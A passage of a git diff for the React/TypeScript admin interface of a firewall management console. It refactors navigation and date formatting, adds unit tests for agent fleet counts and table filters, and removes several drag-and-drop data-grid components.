: ' Пока нет снимка — дождитесь sync агента.'}
</FrameDescription>
</FrameHeader>
@@ -16,6 +16,7 @@ import {
FramePanel,
FrameTitle,
} from '@/components/reui/frame'
import { formatDateTime } from '@/lib/format'
/**
* Agent lifecycle timeline.
@@ -32,9 +33,7 @@ type Step = {
function formatWhen(iso?: string | null): string | undefined {
if (!iso) return undefined
const d = new Date(iso)
if (Number.isNaN(d.getTime())) return iso
return d.toLocaleString('ru-RU')
return formatDateTime(iso)
}
export function AgentLifecycleTimeline({ agent }: { agent: Agent }) {
@@ -0,0 +1,82 @@
import { describe, it, expect } from 'vitest'
import { isAgentStale, computeFleetCounts } from './agents-fleet-kpis'
import type { Agent } from '@evofw/shared'
function agent(patch: Partial<Agent>): Agent {
return {
id: 'a1',
name: 'a',
hostname: null,
platform: 'linux',
token_prefix: 'x',
status: 'approved',
default_action: 'accept',
policy_mode: 'blacklist',
policy_generation: 1,
last_seen_at: null,
last_seen_ip: null,
last_apply_at: null,
last_apply_status: null,
last_apply_error: null,
last_apply_prefix_count: null,
last_apply_packets_dropped: null,
last_apply_packets_accepted: null,
total_packets_dropped: 0,
total_packets_accepted: 0,
last_apply_kernel_method: null,
client_version: null,
created_at: '2026-01-01T00:00:00Z',
approved_at: null,
revoked_at: null,
install_curl: null,
install_link_id: null,
...patch,
} as Agent
}
describe('agents-fleet-kpis', () => {
it('stale = approved + unseen or seen >24h ago; never for pending', () => {
const now = Date.parse('2026-09-20T12:00:00Z')
expect(isAgentStale(agent({ last_seen_at: null }), now)).toBe(true)
expect(
isAgentStale(agent({ last_seen_at: '2026-09-20T11:00:00Z' }), now),
).toBe(false)
expect(
isAgentStale(agent({ last_seen_at: '2026-09-19T11:00:00Z' }), now),
).toBe(true)
expect(
isAgentStale(
agent({ status: 'pending', last_seen_at: null }),
now,
),
).toBe(false)
expect(
isAgentStale(agent({ last_seen_at: 'garbage' }), now),
).toBe(true)
})
it('computeFleetCounts tallies statuses, stale and apply errors', () => {
const now = Date.now()
const counts = computeFleetCounts([
agent({ id: '1', status: 'pending' }),
agent({ id: '2', status: 'invited' }),
agent({ id: '3', status: 'revoked' }),
agent({ id: '4', last_seen_at: new Date(now).toISOString() }),
agent({
id: '5',
last_seen_at: new Date(now - 25 * 3600_000).toISOString(),
}),
agent({
id: '6',
last_seen_at: new Date(now).toISOString(),
last_apply_error: 'boom',
}),
])
expect(counts.pending).toBe(1)
expect(counts.invited).toBe(1)
expect(counts.revoked).toBe(1)
expect(counts.approved).toBe(3)
expect(counts.stale).toBe(1)
expect(counts.applyErrors).toBe(1)
})
})
+13 -34
View File
@@ -1,14 +1,7 @@
import { Link, useRouterState } from '@tanstack/react-router'
import {
LayoutDashboardIcon,
ServerIcon,
ListIcon,
ShieldIcon,
BarChart3Icon,
SettingsIcon,
} from 'lucide-react'
import { AppSwitcher } from '@/components/app-switcher'
import { NavUser } from '@/components/layout/nav-user'
import { NAV_SECTIONS, navItemsForSection, type NavItem } from '@/lib/nav'
import {
Sidebar,
SidebarContent,
@@ -22,22 +15,7 @@ import {
SidebarMenuItem,
} from '@evofw/ui/components/sidebar'
const overviewNav = [
{ to: '/', label: 'Панель управления', icon: LayoutDashboardIcon, exact: true },
] as const
const opsNav = [
{ to: '/agents', label: 'Агенты', icon: ServerIcon, exact: false },
{ to: '/lists', label: 'Списки', icon: ListIcon, exact: false },
{ to: '/rules', label: 'Наборы правил', icon: ShieldIcon, exact: false },
{ to: '/stats', label: 'Статистика', icon: BarChart3Icon, exact: false },
] as const
const systemNav = [
{ to: '/settings', label: 'Настройки', icon: SettingsIcon, exact: false },
] as const
function isNavActive(pathname: string, to: string, exact: boolean) {
function isNavActive(pathname: string, to: string, exact?: boolean) {
if (exact) return pathname === to
return pathname === to || pathname.startsWith(`${to}/`)
}
@@ -48,12 +26,7 @@ function NavSection({
pathname,
}: {
label: string
items: readonly {
to: string
label: string
icon: typeof ServerIcon
exact: boolean
}[]
items: readonly NavItem[]
pathname: string
}) {
return (
@@ -90,12 +63,18 @@ export function AppSidebar() {
<AppSwitcher />
</SidebarHeader>
<SidebarContent>
<NavSection label="Обзор" items={overviewNav} pathname={pathname} />
<NavSection label="Операции" items={opsNav} pathname={pathname} />
<NavSection label="Система" items={systemNav} pathname={pathname} />
{NAV_SECTIONS.map((section) => (
<NavSection
key={section.id}
label={section.label}
items={navItemsForSection(section.id)}
pathname={pathname}
/>
))}
</SidebarContent>
<SidebarFooter>
<NavUser />
</SidebarFooter> </Sidebar>
</SidebarFooter>
</Sidebar>
)
}
+2 -48
View File
@@ -1,14 +1,7 @@
import { useEffect, useId, useMemo, useState } from 'react'
import { Link, useNavigate } from '@tanstack/react-router'
import {
BarChart3Icon,
LayoutDashboardIcon,
ListIcon,
SearchIcon,
ServerIcon,
SettingsIcon,
ShieldIcon,
} from 'lucide-react'
import { SearchIcon } from 'lucide-react'
import { NAV_ITEMS } from '@/lib/nav'
import { Button } from '@evofw/ui/components/button'
import {
Dialog,
@@ -26,45 +19,6 @@ import {
ItemTitle,
} from '@evofw/ui/components/item'
const NAV_ITEMS = [
{
to: '/',
label: 'Панель управления',
keywords: ['dashboard', 'панель', 'обзор'],
icon: LayoutDashboardIcon,
},
{
to: '/agents',
label: 'Агенты',
keywords: ['agents', 'агенты', 'nodes'],
icon: ServerIcon,
},
{
to: '/lists',
label: 'Списки IP',
keywords: ['lists', 'списки', 'blocklist'],
icon: ListIcon,
},
{
to: '/rules',
label: 'Наборы правил',
keywords: ['rules', 'правила', 'policy', 'наборы', 'sets'],
icon: ShieldIcon,
},
{
to: '/stats',
label: 'Статистика',
keywords: ['stats', 'статистика', 'packets'],
icon: BarChart3Icon,
},
{
to: '/settings',
label: 'Настройки',
keywords: ['settings', 'настройки'],
icon: SettingsIcon,
},
] as const
/** Command-K search — hotkey dialog (no header chrome trigger). */
export function SearchMenu({ hotkeyOnly = false }: { hotkeyOnly?: boolean }) {
const [open, setOpen] = useState(false)
+15 -29
View File
@@ -12,55 +12,41 @@ import { Separator } from '@evofw/ui/components/separator'
import { SystemMonitorPopover } from '@/components/layout/system-monitor-popover'
import { AppsMenu } from '@/components/layout/apps-menu'
import { SidebarTrigger } from '@evofw/ui/components/sidebar'
import { navLabel, navParentForDetail } from '@/lib/nav'
export interface RouteBreadcrumbLoaderData {
breadcrumb?: string
}
const routeTitles: Record<string, string> = {
'/': 'Панель управления',
'/agents': 'Агенты',
'/lists': 'Списки',
'/rules': 'Наборы правил',
'/stats': 'Статистика',
'/settings': 'Настройки',
}
function getBreadcrumbs(
pathname: string,
dynamicLabels: Record<string, string>,
) {
if (pathname === '/') {
return [{ label: 'Панель управления', href: '/' }]
return [{ label: navLabel('/') ?? 'Панель управления', href: '/' }]
}
if (pathname.match(/^\/agents\/[^/]+$/)) {
const parentTo = navParentForDetail(pathname)
if (parentTo) {
const parentLabel = navLabel(parentTo)
const fallback =
parentTo === '/agents'
? 'Агент'
: parentTo === '/lists'
? 'Список'
: 'Набор'
return [
{ label: 'Агенты', href: '/agents' },
{ label: dynamicLabels[pathname] ?? 'Агент', href: pathname },
{ label: parentLabel ?? parentTo, href: parentTo },
{ label: dynamicLabels[pathname] ?? fallback, href: pathname },
]
}
if (pathname.match(/^\/rules\/[^/]+$/)) {
return [
{ label: 'Наборы правил', href: '/rules' },
{ label: dynamicLabels[pathname] ?? 'Набор', href: pathname },
]
}
if (pathname.match(/^\/lists\/[^/]+$/)) {
return [
{ label: 'Списки', href: '/lists' },
{ label: dynamicLabels[pathname] ?? 'Список', href: pathname },
]
}
const title = routeTitles[pathname]
const title = navLabel(pathname)
if (title) {
return [{ label: title, href: pathname }]
}
return [{ label: 'Панель управления', href: '/' }]
return [{ label: navLabel('/') ?? 'Панель управления', href: '/' }]
}
function useDynamicBreadcrumbLabels() {
@@ -1,6 +1,7 @@
import { useMemo, type CSSProperties, type ReactNode } from 'react'
import { useQuery } from '@tanstack/react-query'
import { Activity, HeartPulse, List, Server, Shield } from 'lucide-react'
import { formatTime } from '@/lib/format'
import { Badge } from '@/components/reui/badge'
import { cn } from '@evofw/ui/lib/utils'
@@ -201,7 +202,7 @@ export function SystemMonitorPopover() {
Монитор EvoFirewall
</span>
<span className="text-muted-foreground text-[11px] tabular-nums">
{new Date().toLocaleTimeString('ru-RU')}
{formatTime(new Date())}
</span>
</div>
<div className="grid grid-cols-2">
@@ -10,6 +10,7 @@ import { StatusBadge } from '@/components/status-badge'
import { ListTypeIcon } from '@/components/lists/list-type-icon'
import { Button } from '@evofw/ui/components/button'
import { isManualListType, type IpList } from '@evofw/shared'
import { formatDateTime } from '@/lib/format'
export const LIST_TABS = [
{ id: 'all', label: 'Все' },
@@ -67,7 +68,7 @@ export function createListColumns(opts: {
row.original.last_error
? 'Ошибка обновления'
: row.original.refreshed_at
? `Обновлён ${new Date(row.original.refreshed_at).toLocaleString('ru-RU')}`
? `Обновлён ${formatDateTime(row.original.refreshed_at)}`
: undefined
}
/>
@@ -102,7 +103,7 @@ export function createListColumns(opts: {
cell: ({ row }) => (
<DataGridMutedCell>
{row.original.updated_at
? new Date(row.original.updated_at).toLocaleString('ru-RU')
? formatDateTime(row.original.updated_at)
: '—'}
</DataGridMutedCell>
),
@@ -0,0 +1,80 @@
import { describe, it, expect } from 'vitest'
import {
getActiveFilters,
applyFiltersToData,
} from '@/components/reui-kit/filter-utils'
type Row = { name: string; status: string }
const rows: Row[] = [
{ name: 'web-01', status: 'approved' },
{ name: 'db-01', status: 'pending' },
{ name: 'mt-01', status: 'revoked' },
]
const field = (item: Row, f: string) =>
f === 'name' ? item.name : f === 'status' ? item.status : undefined
describe('filter-utils', () => {
it('getActiveFilters drops empty filters', () => {
const active = getActiveFilters([
{ id: '1', field: 'status', operator: 'is', values: ['approved'] },
{ id: '2', field: 'name', operator: 'contains', values: [''] },
{ id: '3', field: 'x', operator: 'is', values: [] },
{ id: '4', field: 'x', operator: 'is', values: [null, undefined] },
])
expect(active.map((f) => f.id)).toEqual(['1'])
})
it('applies is / is_not / is_any_of operators', () => {
expect(
applyFiltersToData(
rows,
[{ id: '1', field: 'status', operator: 'is', values: ['pending'] }],
field,
),
).toEqual([rows[1]])
expect(
applyFiltersToData(
rows,
[
{
id: '1',
field: 'status',
operator: 'is_any_of',
values: ['pending', 'revoked'],
},
],
field,
),
).toEqual([rows[1], rows[2]])
expect(
applyFiltersToData(
rows,
[
{
id: '1',
field: 'status',
operator: 'is_not',
values: ['revoked'],
},
],
field,
),
).toEqual([rows[0], rows[1]])
})
it('combines multiple filters with AND', () => {
const out = applyFiltersToData(
rows,
[
{ id: '1', field: 'status', operator: 'is', values: ['approved'] },
{ id: '2', field: 'name', operator: 'contains', values: ['web'] },
],
field,
)
expect(out).toEqual([rows[0]])
})
})
@@ -22,7 +22,6 @@ export {
export { QuickActionGrid, type QuickActionItem } from './quick-action-grid'
export { OpsDashboard } from './ops-dashboard'
export { DetailPanel, type DetailMetricCard } from './detail-panel'
export { SettingsShell, type SettingsTabConfig } from './settings-shell'
export { PageShell } from '@/components/page-shell'
export { PageHeader } from '@/components/page-header'
@@ -1,89 +0,0 @@
import type { ReactNode } from 'react'
import { Link, Outlet, useRouterState } from '@tanstack/react-router'
import { useIsMobile } from '@evofw/ui/hooks/use-mobile'
import { cn } from '@evofw/ui/lib/utils'
import { PageShell } from '@/components/page-shell'
import { PageHeader } from '@/components/page-header'
/**
* Multi-section settings layout — only when tabs are provided.
* Single-page settings use PageShell + Frame + SettingRow directly.
* Preview: https://reui.io/preview/base/settings-16
*/
export interface SettingsTabConfig {
id: string
to: string
label: string
icon?: ReactNode
}
interface SettingsShellProps {
title?: string
description?: string
/** Required — no phantom default routes. */
tabs: SettingsTabConfig[]
}
export function SettingsShell({
title = 'Настройки',
description = 'Конфигурация control plane',
tabs,
}: SettingsShellProps) {
const isMobile = useIsMobile()
const pathname = useRouterState({ select: (s) => s.location.pathname })
return (
<PageShell>
<div className="mx-auto flex w-full max-w-4xl flex-col gap-5">
<PageHeader title={title} description={description} />
<div
className={cn(
'flex gap-5',
isMobile ? 'flex-col' : 'flex-row items-start',
)}
>
{tabs.length > 1 ? (
<nav
aria-label="Разделы настроек"
className={cn(
'flex gap-1',
isMobile
? 'scrollbar-none -mx-1 overflow-x-auto overflow-y-hidden pb-1'
: 'w-44 shrink-0 flex-col',
)}
>
{tabs.map((tab) => {
const isActive = pathname.startsWith(tab.to)
return (
<Link
key={tab.id}
to={tab.to}
aria-current={isActive ? 'page' : undefined}
className={cn(
'flex items-center gap-2 rounded-lg px-3 py-2 text-sm transition-colors',
isMobile && 'shrink-0',
!isMobile && 'w-full',
isActive
? 'bg-muted text-foreground font-medium shadow-sm ring-1 ring-border/60'
: 'text-muted-foreground hover:bg-muted/60 hover:text-foreground',
)}
>
{tab.icon}
{tab.label}
</Link>
)
})}
</nav>
) : null}
<div className="min-w-0 flex-1">
<Outlet />
</div>
</div>
</div>
</PageShell>
)
}
@@ -1,53 +0,0 @@
"use no memo"
import { ReactElement } from "react"
import { getColumnHeaderLabel } from "@/components/reui/data-grid/data-grid"
import { Table } from "@tanstack/react-table"
import {
DropdownMenu,
DropdownMenuCheckboxItem,
DropdownMenuContent,
DropdownMenuGroup,
DropdownMenuLabel,
DropdownMenuTrigger,
} from "@evofw/ui/components/dropdown-menu"
function DataGridColumnVisibility<TData>({
table,
trigger,
}: {
table: Table<TData>
trigger: ReactElement<Record<string, unknown>>
}) {
return (
<DropdownMenu>
<DropdownMenuTrigger render={trigger} />
<DropdownMenuContent align="end" className="min-w-[150px]">
<DropdownMenuGroup>
<DropdownMenuLabel className="font-medium">
Toggle Columns
</DropdownMenuLabel>
{table
.getAllColumns()
.filter((column) => column.getCanHide())
.map((column) => {
return (
<DropdownMenuCheckboxItem
key={column.id}
className="capitalize"
checked={column.getIsVisible()}
onSelect={(event) => event.preventDefault()}
onCheckedChange={(value) => column.toggleVisibility(!!value)}
>
{getColumnHeaderLabel(column)}
</DropdownMenuCheckboxItem>
)
})}
</DropdownMenuGroup>
</DropdownMenuContent>
</DropdownMenu>
)
}
export { DataGridColumnVisibility }
@@ -1,347 +0,0 @@
"use client"
"use no memo"
import {
createContext,
CSSProperties,
memo,
ReactNode,
useContext,
useEffect,
useId,
useMemo,
useRef,
useState,
} from "react"
import { useDataGrid } from "@/components/reui/data-grid/data-grid"
import {
DataGridTableBase,
DataGridTableBody,
DataGridTableBodyRow,
DataGridTableBodyRowCell,
DataGridTableBodyRowExpandded,
DataGridTableBodyRowSkeleton,
DataGridTableBodyRowSkeletonCell,
DataGridTableEmpty,
DataGridTableFillBodyCell,
DataGridTableFillHeadCell,
DataGridTableFoot,
DataGridTableHead,
DataGridTableHeadRow,
DataGridTableHeadRowCell,
DataGridTableHeadRowCellResize,
DataGridTableRowSpacer,
DataGridTableViewport,
} from "@/components/reui/data-grid/data-grid-table"
import {
closestCenter,
DndContext,
KeyboardSensor,
MouseSensor,
TouchSensor,
UniqueIdentifier,
useSensor,
useSensors,
type DragEndEvent,
type Modifier,
} from "@dnd-kit/core"
import { restrictToVerticalAxis } from "@dnd-kit/modifiers"
import {
SortableContext,
sortableKeyboardCoordinates,
useSortable,
verticalListSortingStrategy,
} from "@dnd-kit/sortable"
import { CSS } from "@dnd-kit/utilities"
import {
Cell,
flexRender,
HeaderGroup,
Row,
Table,
} from "@tanstack/react-table"
import { cn } from "@evofw/ui/lib/utils"
import { Button } from "@evofw/ui/components/button"
import { GripHorizontalIcon } from "lucide-react"
// Context to share sortable listeners from row to handle
type SortableContextValue = ReturnType<typeof useSortable>
const SortableRowContext = createContext<Pick<
SortableContextValue,
"attributes" | "listeners"
> | null>(null)
function DataGridTableDndRowHandle({ className }: { className?: string }) {
const context = useContext(SortableRowContext)
if (!context) {
// Fallback if context is not available (shouldn't happen in normal usage)
return (
<Button
variant="ghost"
size="icon-sm"
className={cn(
"size-7 cursor-grab opacity-70 hover:bg-transparent hover:opacity-100 active:cursor-grabbing",
className
)}
aria-label="Drag to reorder row"
disabled
>
<GripHorizontalIcon aria-hidden="true" />
</Button>
)
}
return (
<Button
variant="ghost"
size="icon-sm"
className={cn(
"size-7 cursor-grab opacity-70 hover:bg-transparent hover:opacity-100 active:cursor-grabbing",
className
)}
aria-label="Drag to reorder row"
{...context.attributes}
{...context.listeners}
>
<GripHorizontalIcon aria-hidden="true" />
</Button>
)
}
function DataGridTableDndRow<TData>({ row }: { row: Row<TData> }) {
const {
transform,
transition,
setNodeRef,
isDragging,
attributes,
listeners,
} = useSortable({
id: row.id,
})
const style: CSSProperties = {
transform: CSS.Transform.toString(transform),
transition: transition,
opacity: isDragging ? 0.8 : 1,
zIndex: isDragging ? 1 : 0,
position: "relative",
cursor: isDragging ? "grabbing" : undefined,
}
return (
<SortableRowContext.Provider value={{ attributes, listeners }}>
<DataGridTableBodyRow row={row} dndRef={setNodeRef} dndStyle={style}>
{row.getVisibleCells().map((cell: Cell<TData, unknown>) => {
return (
<DataGridTableBodyRowCell cell={cell} key={cell.id}>
{flexRender(cell.column.columnDef.cell, cell.getContext())}
</DataGridTableBodyRowCell>
)
})}
<DataGridTableFillBodyCell />
</DataGridTableBodyRow>
{row.getIsExpanded() && <DataGridTableBodyRowExpandded row={row} />}
</SortableRowContext.Provider>
)
}
function DataGridTableDndRowsBody<TData>({
table,
dataIds,
}: {
table: Table<TData>
dataIds: UniqueIdentifier[]
}) {
const { isLoading, props } = useDataGrid()
const pagination = table.getState().pagination
if (props.loadingMode === "skeleton" && isLoading && pagination?.pageSize) {
return (
<>
{Array.from({ length: pagination.pageSize }).map((_, rowIndex) => (
<DataGridTableBodyRowSkeleton key={rowIndex}>
{table.getVisibleFlatColumns().map((column, colIndex) => {
return (
<DataGridTableBodyRowSkeletonCell
column={column}
key={colIndex}
>
{column.columnDef.meta?.skeleton}
</DataGridTableBodyRowSkeletonCell>
)
})}
<DataGridTableFillBodyCell />
</DataGridTableBodyRowSkeleton>
))}
</>
)
}
if (!table.getRowModel().rows.length) return <DataGridTableEmpty />
return (
<SortableContext items={dataIds} strategy={verticalListSortingStrategy}>
{table.getRowModel().rows.map((row: Row<TData>) => {
return <DataGridTableDndRow row={row} key={row.id} />
})}
</SortableContext>
)
}
/**
* Memoized body rows: skip re-renders during active column resize.
* Column widths update via CSS variables on the <table> element,
* so the browser handles width changes without React re-renders.
*/
const MemoizedDataGridTableDndRowsBody = memo(
DataGridTableDndRowsBody,
(_prev, next) => !!next.table.getState().columnSizingInfo.isResizingColumn
) as typeof DataGridTableDndRowsBody
function DataGridTableDndRows<TData>({
handleDragEnd,
dataIds,
footerContent,
}: {
handleDragEnd: (event: DragEndEvent) => void
dataIds: UniqueIdentifier[]
footerContent?: ReactNode
}) {
const { table, props } = useDataGrid()
const tableContainerRef = useRef<HTMLDivElement>(null)
const [isDraggingRow, setIsDraggingRow] = useState(false)
const sensors = useSensors(
useSensor(MouseSensor, {}),
useSensor(TouchSensor, {}),
// Keyboard reordering moves one sortable position per keypress instead
// of the sensor's raw 25px default.
useSensor(KeyboardSensor, {
coordinateGetter: sortableKeyboardCoordinates,
})
)
useEffect(() => {
if (!isDraggingRow) return
const { body, documentElement } = document
const previousBodyCursor = body.style.cursor
const previousDocumentCursor = documentElement.style.cursor
body.style.cursor = "grabbing"
documentElement.style.cursor = "grabbing"
return () => {
body.style.cursor = previousBodyCursor
documentElement.style.cursor = previousDocumentCursor
}
}, [isDraggingRow])
const modifiers = useMemo(() => {
const restrictToTableContainer: Modifier = ({
transform,
draggingNodeRect,
}) => {
if (!tableContainerRef.current || !draggingNodeRect) {
return transform
}
const containerRect = tableContainerRef.current.getBoundingClientRect()
const { x, y } = transform
const minX = containerRect.left - draggingNodeRect.left
const maxX = containerRect.right - draggingNodeRect.right
const minY = containerRect.top - draggingNodeRect.top
const maxY = containerRect.bottom - draggingNodeRect.bottom
return {
...transform,
x: Math.max(minX, Math.min(maxX, x)),
y: Math.max(minY, Math.min(maxY, y)),
}
}
return [restrictToVerticalAxis, restrictToTableContainer]
}, [])
return (
<DndContext
id={useId()}
collisionDetection={closestCenter}
modifiers={modifiers}
onDragCancel={() => setIsDraggingRow(false)}
onDragEnd={(event) => {
setIsDraggingRow(false)
handleDragEnd(event)
}}
onDragStart={() => setIsDraggingRow(true)}
sensors={sensors}
>
<DataGridTableViewport
viewportRef={tableContainerRef}
className={
isDraggingRow
? "relative cursor-grabbing [&_*]:cursor-grabbing!"
: "relative"
}
>
<DataGridTableBase>
<DataGridTableHead>
{table
.getHeaderGroups()
.map((headerGroup: HeaderGroup<TData>, index) => {
return (
<DataGridTableHeadRow key={index} rowId={headerGroup.id}>
{headerGroup.headers.map((header, index) => {
const { column } = header
return (
<DataGridTableHeadRowCell header={header} key={index}>
{header.isPlaceholder ? null : props.tableLayout
?.columnsResizable && column.getCanResize() ? (
<div className="truncate">
{flexRender(
header.column.columnDef.header,
header.getContext()
)}
</div>
) : (
flexRender(
header.column.columnDef.header,
header.getContext()
)
)}
{props.tableLayout?.columnsResizable &&
column.getCanResize() && (
<DataGridTableHeadRowCellResize header={header} />
)}
</DataGridTableHeadRowCell>
)
})}
<DataGridTableFillHeadCell />
</DataGridTableHeadRow>
)
})}
</DataGridTableHead>
{(props.tableLayout?.stripped || !props.tableLayout?.rowBorder) && (
<DataGridTableRowSpacer />
)}
<DataGridTableBody>
<MemoizedDataGridTableDndRowsBody table={table} dataIds={dataIds} />
</DataGridTableBody>
{footerContent && (
<DataGridTableFoot>{footerContent}</DataGridTableFoot>
)}
</DataGridTableBase>
</DataGridTableViewport>
</DndContext>
)
}
export { DataGridTableDndRowHandle, DataGridTableDndRows }
@@ -1,349 +0,0 @@
"use no memo"
import {
CSSProperties,
Fragment,
memo,
ReactNode,
useEffect,
useId,
useMemo,
useRef,
useState,
} from "react"
import { useDataGrid } from "@/components/reui/data-grid/data-grid"
import {
DataGridTableBase,
DataGridTableBody,
DataGridTableBodyRow,
DataGridTableBodyRowCell,
DataGridTableBodyRowExpandded,
DataGridTableBodyRowSkeleton,
DataGridTableBodyRowSkeletonCell,
DataGridTableEmpty,
DataGridTableFillBodyCell,
DataGridTableFillHeadCell,
DataGridTableFoot,
DataGridTableHead,
DataGridTableHeadRow,
DataGridTableHeadRowCell,
DataGridTableHeadRowCellResize,
DataGridTableRowSpacer,
DataGridTableViewport,
} from "@/components/reui/data-grid/data-grid-table"
import {
closestCenter,
DndContext,
KeyboardSensor,
Modifier,
MouseSensor,
TouchSensor,
useSensor,
useSensors,
type DragEndEvent,
} from "@dnd-kit/core"
import {
horizontalListSortingStrategy,
SortableContext,
sortableKeyboardCoordinates,
useSortable,
} from "@dnd-kit/sortable"
import { CSS } from "@dnd-kit/utilities"
import {
Cell,
flexRender,
Header,
HeaderGroup,
Row,
Table,
} from "@tanstack/react-table"
import { Button } from "@evofw/ui/components/button"
import { GripVerticalIcon } from "lucide-react"
function DataGridTableDndHeader<TData>({
header,
}: {
header: Header<TData, unknown>
}) {
const { props } = useDataGrid()
const { column } = header
// Check if column ordering is enabled for this column
const canOrder =
(column.columnDef as { enableColumnOrdering?: boolean })
.enableColumnOrdering !== false
const {
attributes,
isDragging,
listeners,
setNodeRef,
transform,
transition,
} = useSortable({
id: header.column.id,
})
const style: CSSProperties = {
opacity: isDragging ? 0.8 : 1,
position: "relative",
transform: CSS.Translate.toString(transform),
transition,
cursor: isDragging ? "grabbing" : undefined,
whiteSpace: "nowrap",
width: props.tableLayout?.columnsResizable
? `calc(var(--header-${header.id}-size) * 1px)`
: header.column.getSize(),
zIndex: isDragging ? 1 : 0,
}
return (
<DataGridTableHeadRowCell
header={header}
dndStyle={style}
dndRef={setNodeRef}
>
<div className="flex items-center justify-start gap-0.5">
{canOrder && (
<Button
size="icon-sm"
variant="ghost"
className={`-ms-2 size-6 ${isDragging ? "cursor-grabbing" : "cursor-grab active:cursor-grabbing"}`}
{...attributes}
{...listeners}
aria-label="Drag to reorder"
>
<GripVerticalIcon className="opacity-60 hover:opacity-100" aria-hidden="true" />
</Button>
)}
<div className="grow">
{header.isPlaceholder
? null
: flexRender(header.column.columnDef.header, header.getContext())}
</div>
{props.tableLayout?.columnsResizable && column.getCanResize() && (
<DataGridTableHeadRowCellResize header={header} />
)}
</div>
</DataGridTableHeadRowCell>
)
}
function DataGridTableDndCell<TData>({ cell }: { cell: Cell<TData, unknown> }) {
const { props } = useDataGrid()
const { isDragging, setNodeRef, transform, transition } = useSortable({
id: cell.column.id,
})
const style: CSSProperties = {
opacity: isDragging ? 0.8 : 1,
position: "relative",
transform: CSS.Translate.toString(transform),
transition,
cursor: isDragging ? "grabbing" : undefined,
width: props.tableLayout?.columnsResizable
? `calc(var(--col-${cell.column.id}-size) * 1px)`
: cell.column.getSize(),
zIndex: isDragging ? 1 : 0,
}
return (
<DataGridTableBodyRowCell cell={cell} dndStyle={style} dndRef={setNodeRef}>
{flexRender(cell.column.columnDef.cell, cell.getContext())}
</DataGridTableBodyRowCell>
)
}
function DataGridTableDndBodyRows<TData>({ table }: { table: Table<TData> }) {
const { isLoading, props } = useDataGrid()
const pagination = table.getState().pagination
if (props.loadingMode === "skeleton" && isLoading && pagination?.pageSize) {
return (
<>
{Array.from({ length: pagination.pageSize }).map((_, rowIndex) => (
<DataGridTableBodyRowSkeleton key={rowIndex}>
{table.getVisibleFlatColumns().map((column, colIndex) => {
return (
<DataGridTableBodyRowSkeletonCell
column={column}
key={colIndex}
>
{column.columnDef.meta?.skeleton}
</DataGridTableBodyRowSkeletonCell>
)
})}
<DataGridTableFillBodyCell />
</DataGridTableBodyRowSkeleton>
))}
</>
)
}
if (!table.getRowModel().rows.length) return <DataGridTableEmpty />
return (
<>
{table.getRowModel().rows.map((row: Row<TData>) => {
return (
<Fragment key={row.id}>
<DataGridTableBodyRow row={row}>
<SortableContext
items={table.getState().columnOrder}
strategy={horizontalListSortingStrategy}
>
{row.getVisibleCells().map((cell: Cell<TData, unknown>) => (
<DataGridTableDndCell cell={cell} key={cell.id} />
))}
</SortableContext>
<DataGridTableFillBodyCell />
</DataGridTableBodyRow>
{row.getIsExpanded() && <DataGridTableBodyRowExpandded row={row} />}
</Fragment>
)
})}
</>
)
}
/**
* Memoized body rows: skip re-renders during active column resize.
* Column widths update via CSS variables on the <table> element,
* so the browser handles width changes without React re-renders.
*/
const MemoizedDataGridTableDndBodyRows = memo(
DataGridTableDndBodyRows,
(_prev, next) => !!next.table.getState().columnSizingInfo.isResizingColumn
) as typeof DataGridTableDndBodyRows
function DataGridTableDnd<TData>({
handleDragEnd,
footerContent,
}: {
handleDragEnd: (event: DragEndEvent) => void
footerContent?: ReactNode
}) {
const { table, props } = useDataGrid()
const containerRef = useRef<HTMLDivElement>(null)
const [isDraggingColumn, setIsDraggingColumn] = useState(false)
const sensors = useSensors(
useSensor(MouseSensor, {}),
useSensor(TouchSensor, {}),
// Keyboard reordering moves one sortable position per keypress instead
// of the sensor's raw 25px default.
useSensor(KeyboardSensor, {
coordinateGetter: sortableKeyboardCoordinates,
})
)
useEffect(() => {
if (!isDraggingColumn) return
const { body, documentElement } = document
const previousBodyCursor = body.style.cursor
const previousDocumentCursor = documentElement.style.cursor
body.style.cursor = "grabbing"
documentElement.style.cursor = "grabbing"
return () => {
body.style.cursor = previousBodyCursor
documentElement.style.cursor = previousDocumentCursor
}
}, [isDraggingColumn])
// Custom modifier to restrict dragging within table bounds with edge offset
const modifiers = useMemo(() => {
const restrictToTableBounds: Modifier = ({
draggingNodeRect,
transform,
}) => {
if (!draggingNodeRect || !containerRef.current) {
return { ...transform, y: 0 }
}
const containerRect = containerRef.current.getBoundingClientRect()
const edgeOffset = 0
const minX = containerRect.left - draggingNodeRect.left - edgeOffset
const maxX =
containerRect.right -
draggingNodeRect.left -
draggingNodeRect.width +
edgeOffset
return {
...transform,
x: Math.min(Math.max(transform.x, minX), maxX),
y: 0, // Lock vertical movement
}
}
return [restrictToTableBounds]
}, [])
return (
<DndContext
collisionDetection={closestCenter}
id={useId()}
modifiers={modifiers}
onDragCancel={() => setIsDraggingColumn(false)}
onDragEnd={(event) => {
setIsDraggingColumn(false)
handleDragEnd(event)
}}
onDragStart={() => setIsDraggingColumn(true)}
sensors={sensors}
>
<DataGridTableViewport
viewportRef={containerRef}
className={
isDraggingColumn
? "relative cursor-grabbing [&_*]:cursor-grabbing!"
: "relative"
}
>
<DataGridTableBase>
<DataGridTableHead>
{table
.getHeaderGroups()
.map((headerGroup: HeaderGroup<TData>, index) => {
return (
<DataGridTableHeadRow key={index} rowId={headerGroup.id}>
<SortableContext
items={table.getState().columnOrder}
strategy={horizontalListSortingStrategy}
>
{headerGroup.headers.map((header) => (
<DataGridTableDndHeader
header={header}
key={header.id}
/>
))}
</SortableContext>
<DataGridTableFillHeadCell />
</DataGridTableHeadRow>
)
})}
</DataGridTableHead>
{(props.tableLayout?.stripped || !props.tableLayout?.rowBorder) && (
<DataGridTableRowSpacer />
)}
<DataGridTableBody>
<MemoizedDataGridTableDndBodyRows table={table} />
</DataGridTableBody>
{footerContent && (
<DataGridTableFoot>{footerContent}</DataGridTableFoot>
)}
</DataGridTableBase>
</DataGridTableViewport>
</DndContext>
)
}
export { DataGridTableDnd }
@@ -1,634 +0,0 @@
"use client"
"use no memo"
import {
CSSProperties,
memo,
ReactNode,
useCallback,
useEffect,
useRef,
useState,
} from "react"
import { useDataGrid } from "@/components/reui/data-grid/data-grid"
import {
DataGridTableBase,
DataGridTableBody,
DataGridTableEmpty,
DataGridTableFillBodyCell,
DataGridTableFillHeadCell,
DataGridTableFoot,
DataGridTableHead,
DataGridTableHeadRow,
DataGridTableHeadRowCell,
DataGridTableHeadRowCellResize,
DataGridTableRenderedRow,
